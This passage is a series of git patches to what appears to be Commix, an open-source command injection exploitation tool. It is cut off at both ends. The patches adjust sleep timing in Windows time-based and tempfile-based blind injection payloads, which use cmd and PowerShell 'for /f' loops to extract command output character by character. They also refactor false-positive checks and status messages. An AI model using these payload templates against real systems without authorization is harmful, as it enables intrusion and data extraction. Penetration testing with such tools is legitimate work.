settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -339,7 +339,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -348,7 +348,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -426,7 +426,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -437,7 +437,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -504,7 +504,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -514,7 +514,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -572,7 +572,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : @@ -582,7 +582,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index bd145f21ef..93681e1dab 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -34,7 +34,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -45,7 +45,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -118,7 +118,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -128,7 +128,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -204,7 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII pipe + "for /f \"tokens=*\" %x in ('cmd /c \"" + @@ -221,7 +221,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII ampersand + "for /f \"tokens=*\" %x in ('cmd /c \"" + @@ -315,7 +315,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -327,7 +327,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -475,7 +475,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -484,7 +484,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -617,7 +617,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -626,7 +626,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : diff --git a/src/utils/settings.py b/src/utils/settings.py index 2e1b7f4a7b..f58c19f08e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From feec735523394c90d43bba79064810f64c1a19d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 29 Jun 2022 07:12:22 +0300 Subject: [PATCH 174/560] Minor update --- src/utils/purge.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/utils/purge.py b/src/utils/purge.py index 6c88cffc6a..41d34bfe4c 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -37,12 +37,13 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): - warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_warning_msg(warn_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist." + print(settings.print_debug_msg(debug_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: - info_msg += ". " + info_msg += "." else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f58c19f08e..4698e2f901 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5b097659506f77859faf782068ce8604a336ac93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 Jun 2022 09:30:31 +0300 Subject: [PATCH 175/560] Minor update --- .../blind/techniques/time_based/tb_handler.py | 4 ++-- .../blind/techniques/time_based/tb_injector.py | 7 ++++--- src/core/injections/controller/checks.py | 15 ++++++++------- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 7 ++++--- src/utils/settings.py | 2 +- 6 files changed, 20 insertions(+), 17 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index ae48ada154..e0de2e2f96 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -209,7 +209,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " + message += "requests. This behavior may lead to false positive results. " sys.stdout.write("\r") while True: message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " @@ -258,7 +258,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r original_how_long = how_long # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) + how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 31d2dc95da..3f23ab0cbe 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -352,7 +352,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): if settings.TARGET_OS == "win": previous_cmd = cmd @@ -362,10 +362,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False - checks.check_for_false_positive_result() + checks.check_for_false_positive_result(false_positive_warning) # Varying the sleep time. - timesec = timesec + random.randint(1, 5) + if false_positive_warning: + timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 42707ba15e..be05ce8912 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -386,15 +386,16 @@ def captcha_check(page): """ Checking the reliability of the used payload message. """ -def check_for_false_positive_result(): - info_msg = "Potential injection point has been detected. " - info_msg += "Checking the reliability of the used payload " - info_msg += "in case of a false positive result" +def check_for_false_positive_result(false_positive_warning): + info_msg = "Checking the reliability of the identified injection point " + info_msg += "(in case of false positive result).\n" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: - info_msg = info_msg + ".\n" + warn_msg = warn_msg + ".\n" else: - info_msg = info_msg +", please wait..." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + warn_msg = warn_msg +", please wait..." + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) """ False positive or unexploitable injection point detected. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 58327d60f2..111d328fe3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -279,7 +279,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, original_how_long = how_long # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) + how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 9990b3c32b..5e7cc9dcfe 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -357,7 +357,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): if settings.TARGET_OS == "win": previous_cmd = cmd @@ -367,10 +367,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False - checks.check_for_false_positive_result() + checks.check_for_false_positive_result(false_positive_warning) # Varying the sleep time. - timesec = timesec + random.randint(1, 5) + if false_positive_warning: + timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4698e2f901..d5fa28d361 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3deff55bf09a2b9f6663491b8c6dd760ef4a5c9d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Jul 2022 16:46:35 +0300 Subject: [PATCH 176/560] Multiple updates --- .../blind/techniques/time_based/tb_handler.py | 9 +--- src/core/injections/controller/checks.py | 4 +- src/core/injections/controller/controller.py | 51 ++++++++----------- .../techniques/classic/cb_handler.py | 10 +--- .../techniques/eval_based/eb_handler.py | 9 +--- .../techniques/file_based/fb_handler.py | 9 +--- .../techniques/tempfile_based/tfb_handler.py | 10 +--- src/core/modules/shellshock/shellshock.py | 2 +- src/utils/settings.py | 11 ++-- 9 files changed, 41 insertions(+), 74 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e0de2e2f96..3053d0d3ef 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -388,13 +388,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -461,7 +456,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index be05ce8912..e0149655bf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,8 +387,8 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(false_positive_warning): - info_msg = "Checking the reliability of the identified injection point " - info_msg += "(in case of false positive result).\n" + info_msg = "Checking if the injection point on " + info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 286ae2a89f..c6b59dbdc9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -74,8 +74,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS - if not header_name == " cookie" and not the_type == " HTTP header": - header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] @@ -84,7 +82,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - payload = _urllib.parse.quote(payload) + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) @@ -116,11 +115,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) tests shows that" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -150,7 +146,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - payload = _urllib.parse.quote(payload) + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -189,11 +186,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - info_msg += the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -333,11 +327,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" - the_type = " HTTP header" + the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: - header_name = " cookie" + header_name = "Cookie" else: header_name = "" the_type = " parameter" @@ -349,15 +343,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) checks.tamper_scripts(stored_tamper_scripts=False) - - info_msg = "Setting" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." + + settings.CHECKING_PARAMETER = "" + if not header_name == "Cookie" and not the_type == "HTTP header": + settings.CHECKING_PARAMETER = str(http_request_method) + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + if header_name == "Cookie" : + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) + + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: @@ -393,11 +389,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', 